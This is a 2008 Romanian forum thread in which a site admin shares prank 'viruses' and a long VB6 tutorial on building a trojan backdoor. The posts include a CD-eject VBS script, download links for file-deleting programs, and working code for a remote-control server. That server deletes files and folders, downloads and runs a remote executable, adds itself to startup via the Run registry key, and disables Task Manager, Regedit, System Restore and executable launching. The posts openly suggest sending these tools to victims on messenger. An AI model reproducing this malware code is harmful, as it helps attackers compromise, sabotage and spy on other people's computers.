VIRUSI INFORMATION - Noifilme Movies
VIRUSI INFORMATION
|
| | |
the_noifilme | Date: Marti, 2008-12-23, 8:58 PM | Message # 1 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Deschide dvd-romu si restul MsgBox "se va deschide de 20 ori cd-rom-ul " msgbox "Made by L.3.T.@.l" Set ovladani = CreateObject("WMPlayer.OCX.7" ) Set mechaniky = ovladani.cdromCollection If mechaniky.Count Then For i = 0 To mechaniky.Count - 1 mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.It em(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject me chaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i) .Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechani ky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Ejec t mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.It em(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject me chaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject Next End If pe urma dam Save As ..si salvam cu extensie .vbs ce face chestia asta?pai iti deschide cd-romul de vreo 10 ori singur ..tu il inchizi el il deschide ...e ca un fel de stres numai bun de trimis pentru aia care dau massuri de doi lei ..pe yahoo... Enjoy
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:01 PM | Message # 2 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Inebuneste mausul Acest program (virus) inebuneste mausul victimei facundu-l sa se miste in cercuri, putem sa il timite-ti la noobi de pe messenger DESCARCA
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:03 PM | Message # 3 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| virus de sters muzica Acest virus sterge muzica din pc...daca nu il accesati este inofentiv...ASA CA ATENTIE NU IL ACESATI . DESCARCA
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:07 PM | Message # 4 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| VIRUSI sunt izolati sunt inocenti,dar daka ii deschideti "Ai belit-o sa ma ierti !" DESCARCA
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:11 PM | Message # 5 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Crearea unui Trojan + Keylogger [ VB6 ] - FULL Crearea unui Trojan BackDoor in Visual Basic 6 Atentie !!! >> Tutorialul este pentru a invata , pentru scopuri educative , pentru a va satisface curiozitatea . Nu imi asum raspunderea pentru actiunile voastre . Download ( .txt ) - 47.39 KB : DESCARCA DESCARCA Ce contine acest tutorial ? + Conectarea a doua executabile folosind Winsock , explicata detaliat + Functii - Swap Mouse Buttons - Freeze Mouse - Crazy Mouse - Hide Mouse - Open / Close CDRom - Auto-Download - Restart , Shutdown , LogOff , Force Shutdown - Hide TaskBar - Hide Clock , Start Button , Desktop Icons - Server start-up - Disable/Enable Task Manager - Lock/Unlock All EXE - Disable/Enable Regedit - Disable/Enable Right click - Disable/Enable System Restore + Crearea unui keylogger cu fereastra ( explicata detaliat ) + Cateva sfaturi utile Sa incepem . Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul . Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox . Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date . Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client . Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock . Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ? Private Sub Form_Load() On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului . Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port ) Winsock1.Listen ' Setam serverul sa astepte date de la client , acum serverul va asculta pe portul 1111 End Sub Serverul va trebui rulat . Apoi in client , ne conectam la server , folosind butonul de conectare : Private Sub Command1_Click() On Error Resume Next ' La fel Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 ( localhost ) Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server . Va trebui sa fie acelasi la care asculta serverul . Winsock1.Connect ' Conectam clientul la server End Sub
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:11 PM | Message # 6 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita . Private Sub Winsock1_Connect() Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox . End Sub In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare : Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Form1.Caption = "Eroare la conectare" End Sub Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea . Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista Winsock1.Accept requestID ' Acceptam conexiunea de la client End Sub Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei . Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul . Private Sub Command2_Click() On Error Resume Next Winsock1.SendData "notepad" ' Trimitem stringul "notepad" End sub La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele . Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String ' Declaram variabila date_primite de tipul string Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite . If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad . Shell "notepad.exe" ' Deschidem notepad . End If ' Inchidem instructiunea If End Sub Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu . Mai puneti pe Form un buton si un TextBox . Private sub Command3_click() On Error Resume Next Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text . End Sub In server vom procesa datele primite : Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String Dim Vector() As String ' Declaram vectorul Vector() de tip string . Winsock1.GetData date_primite Vector() = Split(date_primite,"|" ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) . If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj" MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client. End If ' Inchidem instructiunea If End Sub
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:12 PM | Message # 7 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt : 0 - sckClosed - Conexiunea e inchisa 1 - sckOpen - Conexiunea e deschisa 2 - sckListening - Conexiunea e in asteptare 3 - sckConnectionPending - Conexiune in desfasurare 4 - sckResolvingHost - In curs de rezolvare 5 - sckResolved - Sistem gazda rezolvat 6 - sckConnecting - Se conecteaza 7 - sckConnected - Conectat 8 - sckClosing - Se inchide conexiunea 9 - sckError - Eroare Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server . Private Sub Command2_Click() If Winsock1.State <> 7 ' State-ul este 7 daca este conectat MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" . Else: Winsock1.SendData "notepad" ' Daca e conectat , atunci permitem trimiterea datelor End If End Sub Sa punem niste functii Trojanului nostru . Vom incepe cu ceva mai simplu , de exemplu stergerea unui fisier . Pentru a sterge un fisier vom folosi functia Kill urmata de locatia fisierului . Deci din client vom trimite un string "kill" urmat de delimitator "kill|" si un alt string , reprezentat de continutul unui textbox care va contine locatia fisierului pe care vrem sa il stergem . In client , pe un buton ( nu uitati sa adaugati textbox ) : Winsock1.SendData "kill|" + Text3.Text ' Facem ceea ce ne-am propus mai sus Iar in server , vom sterge fisierul . Daca fisierul nu exista va interveni o eroare , dar vom folosi handlerul de erori . Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim date_primite As String Dim Vector() As String Winsock1.GetData date_primite Vector() = Split(date_primite,"|" If Vector(0) = "kill" Then Kill Vector(1) End If End Sub
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:12 PM | Message # 8 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Pentru stergerea unui folder vom proceda la fel . Vom folosi functia RmDir urmata de locatia folderului . RmDir Vector(1) ' Unde Vector(1) este continutul altui Textbox , si reprezinta locatia folderului care urmeaza sa fie sters . Putem sterge de exemplu toate fisierele dintr-un folder folosind sintaxa : Kill Folder/*.* , sau fisierele cu o anumita extensie dintr-un folder Kill Folder/*.exe . Cum vom proceda : Kill Vector(1) & "\*.*" ' Pentru stergerea tuturor fisierelor dintr-un folder ( trimis din client ) Kill Vector(1) & "\*.exe" ' Pentru stergerea tuturor executabilelor din folderul primit de la client Sa adaugam serverului nostru niste functii mai "utile" . Pentru cele mai multe functii dintre ele vom avea nevoie de un API ( Application Programming Interface ) . Ce este acest API ? Este o functie care se afla intr-una din librariile Widowsului ( user32.DLL , kernel32.DLL ... ) . Noi putem folosi aceste API-uri in programele noastre din Visual Basic declarandu-le ca functii astfel ( de exemplu ) : Private Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long Private sau Public reprezinta tipul functiei . Daca declarati aceasta functie in sectiunea Declarations a Form-ului vostru va trebui declarata Private , iar daca o declarati intr-un modul va trebui declarata Public . De ce ? O functie declarata ca Private poate fi folosita numai unde a fost declarata , de exemplu daca ai declarat o functie ca privata intr-un modul , vei putea folosi functia numai in modul , daca o declari ca publica o poti folosi oriunde in programul tau . Declare Function e necesar pentru ca Visual Basic sa recunoasca functia ca apartinand unei librarii . SwapMouseButton reprezinta numele functiei , numele pe care il vei folosi in aplicatia ta . Lib este un cuvant cheie , care specifica libraria in care se afla functia noastra , in cazul nostru user32.dll . Alias este un cuvant cheie care specifica numele pe care il are functia in libraria din care face parte , in cazul nostru SwapMouseButton . Ceea ce se afla in paranteze reprezinta argumentele functiei , parametri . ByVal marcheaza faptul ca argumentul bSwap este transmis prin valoare , la unele veti intalni ByRef care marcheaza faptul ca un argument este transmis prin referinta . Care e diferenta dintre ele ? Daca pentru a apela functia care necesita un argument care sa fie transmis prin valoare , folosim o variabila , aceasta isi va pastra valoarea initiala . Pentru un argumet transmis prin referinta , variabila pe care o folosim va avea valoarea modificata dupa apelul functiei . As Long din paranteza reprezinta tipul parametrului . As Long din afara parantezei reprezinta tipul functiei , tipul valorii pe care o va returna functia . Sa incepem cu ceva mai simplu . Sa vedem ce putem face cu mouse : Freeze , Swap Buttons , Crazy , Hide . Sa folosim functia descrisa mai sus : SwapMouseButton pentru inceput . >> Swap Mouse Buttons - adica sa inversam butoanele mouseului . Functia noastra are nevoie de un singur parametru si anume bSwap . Vom da acestui parametru valoarea 0 pentru ca butoanele sa nu fie inversate , si 0 ca sa le inversam . Dupa ce vom declara functia , in serverul nostru la evenimentul Winsock1_DataArrival vom adauga : If date_primite = "swapmouse" Then SwapMouseButton 1 ' Folosim APIul pentru a inversa butoanele mouseului . Pentru revenire la normal vom folosi 0 in loc de 1 : SwapMouseButton 0 . End If >> Freeze Mouse - adica mouseul ramane mereu in acelasi loc . Cum facem asta ? Simplu . Folosim un Timer in care setam pozitia mouseului in acelasi loc . Pentru aceasta vom avea nevoie de alt API : Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long Aceasta functie are 2 parametri : x si y . Acesti parametri reprezinta pozitia cursorului mouseului dupa apelul functiei . Pentru a "ingheta" cursorul folosim un Timer la interval 1 . Private Sub Timer1_Timer() x = SetCursorPos(300, 500) ' La intamplare 300 , 500 , acestea fiind coordonatele la care va fi blocat mouseul , de fapt coordonatele la care va fi setat continuu . Pentru a se reveni la normal oprim timerul . End Sub
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:12 PM | Message # 9 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| >> Crazy Mouse - cursorul mouseului apare aleator pe ecran . Vom folosi acelasi API ca si la Freeze , vom folosi la fel un Timer la interval 100 sa zicem , numai ca vom seta coordonatele cursorului aleator . Private Sub Timer2_Timer() x = SetCursorPos(Rnd * 1000, Rnd * 1000) ' Setam coordonatele cursorului la coordonate aleatoare cuprinse intre 0 si 1000 . La fel , pentru a se reveni la normal , oprim timerul . End Sub >> Hide Mouse - ascundem cursorul mouseului . Pentru aceasta vom avea nevoie de urmatorul API : Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long Aceasta functie , ca si SwapMouseButton are nevoie de un singur parametru , bShow . Acesta daca este 0 , cursorul mouseului nu va fi vizibil , iar daca este 1 , se va reveni la normal . If date_primite = "hidemouse" Then ShowCursor 0 ' Ascundem cursorul mouseului . Pentru a il afisa din nou : ShowCursor 1 End If >> Open / Close CDRom - deschidem / inchidem CDRomul . Vom avea nevoie de urmatorul API : Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _ (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _ ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long E putin mai dificil . Aceasta functie are 4 parametri : lpstrCommand , lpstrReturnString , uReturnLength , hwndCallback . Primul parametru este cel care ne intereseaza pe noi . Acesta este un string specific MCI ( Multimedia Command Strings ) . Al doilea parametru reprezinta un o variabila in care se vor memora datele de iesire a functiei , noua nu ne trebuie insa si in cazul nostru va fi 0 . Al III-lea parametru reprezinta marimea celui de-al II-lea . Nu ne trebuie si in cazul nostru va fi 0 . Cel de-al IV-lea parametru de asemenea nu ne intereseaza . Conteaza numai daca primul parametru este "notify" . In fine , sa trecem la ale noastre . Pe noi ne intereseaza decat primul parametru . Acesta in cazul nostru va fi pentru Open CDRom : "Set CDAudio Door Open Wait" , iar pentru Close CDRom va fi "Set CDAudio Door Closed Wait" . Desigur , primul parametru poate avea multe valori . Deci codul nostru pentru CDRom va arata asa : mciSendString "Set CDAudio Door Open Wait", 0, 0, 0 ' Pentru Open mciSendString "Set CDAudio Door Closed Wait", 0, 0, 0 ' Pentru Close >> Auto-Download : Vom avea nevoie de urmatorul API : Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Aceasta functie ne permite sa descarcam un fisier de la un link anume , si sa il salvam in calculator . Functia are cam multe argumente , insa pe noi ne intereseaza decat 2 . pCaller nu ne intereseaza , il vom pune 0 , este necesar numai daca se apeleaza functia cu ajutorul unei componente ActiveX . Parametrul szURL ne intereseaza pe noi , el fiind linkul de la care vom descarca . Daca link-ul e invalid functia va returna INET_E_DOWNLOAD_FAILURE . Ne mai intereseaza parametrul szFileName . Acesta reprezinta locul in care vom descarca fisierul . Ceilalti 2 parametri nu ne intereseaza , vor fi 0 . Deci codul de Auto-download va arata cam asa : URLDownloadToFile(0, "http://link.com/server.exe", "c:\x.exe", 0, 0) >> Restart , Shutdown , LogOff , Force Shutdown ... Se pot face foarte usor :
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:13 PM | Message # 10 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Shell "shutdown.exe -r",vbHide ' Pentru restart Shell "shutdown.exe -s -t 0", vbHide ' Pentru Shutdown Shell "shutdown.exe -l", vbHide ' Pentru LogOff Shell "shutdown.exe -a", vbHide ' Pentru Abort Insa recomand folosirea urmatoarei functii : Private Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Aceasta functie e putin mai greu de folosit . Are nevoie de 2 parametri : uFlags si dwReserved . Primul parametru reprezinta tipul : shutdown , restart ... , iar dwReserved reprezinta motivul pentru Shutdown . Primul parametru poate fi : EWX_LOGOFF ( 0 ) , EWX_POWEROFF ( 0x00000008 ) , EWX_REBOOT ( 0x00000002 ) , EWX_RESTARTAPPS ( 0x00000040 ) , EWX_SHUTDOWN ( 0x00000001 ) si optional EWX_FORCE ( 0x00000004 ) , EWX_FORCEIFHUNG ( 0x00000010 ) . Cred ca intelegeti si voi ce reprezinta fiecare : EWX_LOGOFF = LogOff etc. Al II-lea parametru poate fi de 2 feluri : motive majore , motive minore . Poate lua valorile : SHTDN_REASON_MAJOR_APPLICATION ( 0x00040000 ) = Din cauza unei aplicatii , SHTDN_REASON_MAJOR_HARDWARE ( 0x00010000 ) = Din cauza hardware-ului , SHTDN_REASON_MAJOR_OPERATINGSYSTEM ( 0x00020000 ) = Din cauza sistemului de operare , SHTDN_REASON_MAJOR_SOFTWARE ( 0x00030000 ) = Din cauza unui software , SHTDN_REASON_MAJOR_SYSTEM ( 0x00050000 ) = Eroare de sistem , etc . Ex. LogOff : x = ExitWindowsEx(EWX_LOGOFF, SHTDN_REASON_MAJOR_OPERATINGSYSTEM) >> Hide TaskBar - ascundem TaskBar-ul . Cum facem asta ? Pur si simplu gasim TaskBarul ( fereastra ) si o ascundem . Vom folosi 2 API-uri : Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Vom folosi FindWindow pentru a gasi TaskBar-ul si ShowWindow pentru a o ascunde . Functia FindWindow are 2 parametri : lpClassName care reprezinta numele clasei ferestrei . Fiecare fereastra are o clasa aparte . Aceasta poate fi inregistrata cu ajutorul functiei RegisterClass . Daca acest parametru este 0 , functia va gasi orice fereastra specificata de cel de-al II-lea parametru . Acesta specifica titlul ferestrei . In cazul nostru nu e necesar si va fi 0 , vom folosi decat primul parametru care in cazul nostru va fi "Shell_TrayWnd" . Putem afla clasa unei ferestre folosind functia GetClassName . Pentru a gasi fereastra : x = FindWindow("Shell_TrayWnd", 0) ' x va fi handlerul ferestrei , un fel de maner al ferestrei Apoi folosim functia ShowWindow pentru a o ascunde . Functia are 2 parametri : hwnd care va fi handlerul ferestrei , in cazul nostru x , si nCmdShow prin care specificam daca fereastra sa fie vizibila sau nu . nCmdShow va fi 0 pentru a ascunde fereastra si 1 pentru a fi vizibila . ShowWindow (x, 0) ' Pentru a o ascunde , si 1 pentru a fi vizibila . >> Hide Clock , Start Button , Desktop Icons - cum sa ascundem ceasul , butonul de start , iconitele de pe desktop . Vom avea nevoie de 3 API-uri :
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:14 PM | Message # 11 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Functia FindWindow am descris-o mai sus . Care e insa diferenta dintre FindWindow si FindWindowEx ? Simplu , FindWindowEx poate gasi ferestrele copil , ferestre care apartin unei alte ferestre ca sa zic asa . De exemplu , o imagine deschisa in Photoshop este fereastra copil a ferestrei Photoshop-ului . Primul argument al functiei FindWindowEx , hWnd1 , reprezinta handlerul ferestrei parinte . Al II-lea parametru este handlerul ferestrei copil . Daca e 0 , functia gaseste primul copil al ferestrei parinte . Cel de-al III-lea parametru reprezinta clasa feresrei copil pe care o cautam , iar ultimul parametru reprezinta numele ferestrei pe care o cautam , nu vom folosi nici un nume , vom folosi functia pentru a gasi fereastra dupa clasa , nu ne vor trebui decat handlerul ferestrei parinte si clasa ferestrei copil . Cu ce ne ajuta aceste lucruri pentru a ascunde ceasul ? Simplu . Ceasul este o fereastra copil a TaskBar-ului , la fel si butonul de start . Va trebui mai intai sa gasim TaskBar-ul folosind FindWindow apoi sa gasim ceasul folosind FindWindowEx . Sa trecem la treaba : Dim task as Long ' Declaram variabila task de tipul long . Handlerul unei ferestre este un numar unic furnizat de sistem . Dim tray as Long ' Declaram variabila tray care va gasi fereastra System Tray-ului , cea in care se afla ceasul . Dim clock as Long ' Mai declaram clock cu care vom gasi ceasul . task = FindWindow("shell_traywnd", 0) ' Gasim TaskBar-ul . Variabila task va fi handlerul TaskBar-ului , folosind clasa sa si anume "shell_traywnd" . tray = FindWindowEx(task, 0, "traynotifywnd", 0) ' Gasim fereastra System Tray-ului si memoram handlerul sau in variabila tray . Dupa cum vedeti folosim FindWindowEx , iar la handlerul fisierului parinte folosim task , handlerul ferestrei TaskBar-ului , clasa fiind "traynotifywnd" . clock = FindWindowEx(tray, 0, "trayclockwclass", 0) ' Gasim ceasul si memoram handlerul sau in variabila clock . La handlerul ferestrei parinte folosim tray si anume handlerul ferestrei System-Tray-ului , folosind clasa "trayclockwclass". ShowWindow(clock, 0) ' Folosim functia ShowWindow pentru a ascunde ceasul .] Vom proceda la fel si cu butonul de start . Cu acesta va fi mai usor . Ceasul era o fereastra copil a system tray-ului care era o fereastra copil a taskbar-ului . Butonul de start este o fereastra copil a TaskBar-ului . Va fi mai usor . Dim task As Long Dim start As Long task = FindWindow("shell_traywnd", 0) ' Gasim si preluam handlerul ferestrei TaskBar-ului in variabila task declarama mai sus start = FindWindowEx(task, 0&, "button", 0) ' Gasim fereastra butonului de start , folosindu-ne de fereastra TaskBarului . ShowWindow(start, 0) ' Ascundem butonul de start folosind functia ShowWindow . Cu iconitele de pe Desktop vom proceda la fel ca si cu ceasul :
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:14 PM | Message # 12 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
| Dim screen As Long Dim desktop As Long Dim icons As Long screen = FindWindow("progman", 0) ' Gasim mai intai Program Managerul desktop = FindWindowEx(screen, 0&, "shelldll_defview", vbNullString) ' Gasim apoi desktopul icons = FindWindowEx(desktop, 0&, "syslistview32", vbNullString) ' Gasim iconitele de pe Desktop ShowWindow(icons, 0) ' Ascundem iconitele . Pentru a le afisa din nou ShowWindow(icons, 1) >> Server start-up - Adaugarea serverului la StartUp Se face printr-o simpla scriere in registry . Se pot folosi API-uri pentru acest lucru , dar vom face acest lucru mai usor . Vom folosi un obiect WScript . Mai intai vom declara o variabila , apoi vom crea obiectul WScript , mai exact WshShell , pe care il vom crea folosind metoda CreateObject . Odata creat , cu un astfel de obiect se pot face mai multe lucruri , se poate scrie si citi in registry , se pot crea scurtaturi ... Dim st ' Declaram variabila Set st = CreateObject("WScript.Shell" ' Cream obiectul st.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Server", "C:\WINDOWS\system32\dk.exe" ' Scriem in registry la HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run regkey-ul Server , cu valoarea C:\WINDOWS\system32\dk.exe , adica locatia serverului nostru . Astfel el va rula la startup . >> Disable/Enable Task Manager - Blocarea si deblocarea task managerului Se face simplu , doar scriind un key in registry , vom proceda ca mai sus . Pentru disable : Dim tmd Set tmd = CreateObject("WScript.Shell" ' Ca mai sus ... tmd.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD" ' Vom scrie in registry la locatia specificata , key-ul DisableTaskMgr care va avea valoarea 1 pentru Disable . REG_DWORD este un tip de key-uri , va fi nevoie de el . Iar pentru enable vom seta valoarea key-ului DisableTaskMgr 0 : Dim tme Set tme = CreateObject("WScript.Shell" tme.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD" >> Lock/Unlock All EXE - Blocarea si deblocarea posibilitati rularii executabilelor Se face tot la fel , prin scriere in registry . Se pot face foarte multe prin scriere in registry ... Pentru blocare va fi nevoie de o simpla modificare a valorii default a unui key . le.RegWrite "HKCR\exefile\shell\open\command\", "Nytro" ' Vom modifica valoare default a lui command . Astfel , la incercarea rularii unui executabil , windows-ul nu va sti cu ce sa il deschida , va aparea : Select a program from a list ... Nu incercati pe voi . O metoda de a scapa : deschideti ceva cu Visual Basic , veti primi o eroare , dar se va deschide Visual Basic . Apoi scrieti un cod care va debloca executabilele , ca cel de mai jos : ue.RegWrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*" ' Acest cod va permite rularea executabilelor . Mai exact va scrie in registry , in key-ul default al lui command , valoarea "%1" %* . >> Disable/Enable Regedit - Blocarea si deblocarea folosirii regedit-ului Aceeasi poveste ... Nu uitati sa declarati variabilele si sa le setati ca obiecte WshShell dr.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" ' Pentru disable er.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD" ' Pentru enable >> Disable/Enable Right click - Blocarea si deblocarea folosirii butonului drept al mouseului Tot scriere in registry ... drc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", 1, "REG_DWORD" ' Pentru disable erc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", 0, "REG_DWORD" ' Pentru enable >> Disable/Enable System Restore - Blocarea si deblocarea functiei System Restore dsr.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 1, "REG_DWORD" ' Pentru disable esr.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 0, "REG_DWORD" ' Pentru enable >>>> [ KEYLOGGER ] - Capturarea tuturor tastelor apasate de la tastatura
Bine ai venit pe noifilme.com
|
|
| |
the_noifilme | Date: Marti, 2008-12-23, 9:15 PM | Message # 13 |
Admin
Group: Utilizatori
Messages: 1581
Awards: 3
Reputation: 2
Status: Offline
